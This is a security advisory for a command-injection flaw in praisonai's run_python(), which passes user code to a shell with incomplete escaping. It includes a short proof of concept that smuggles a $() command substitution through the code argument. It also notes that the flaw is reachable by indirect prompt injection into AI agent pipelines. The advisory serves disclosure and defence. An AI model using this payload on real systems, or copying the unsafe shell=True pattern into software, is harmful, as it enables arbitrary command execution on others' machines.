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GHSA-w37c-qqfp-c67f

HighCVSS 7.8 / 10
Published Apr 1, 2026·Last modified Apr 6, 2026
Affected Components(0)

No affected components available

Description

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Risk Scores
Base Score
7.8

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
7.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-34937
    Alias
  • EUVD-2026-18917
    Alias

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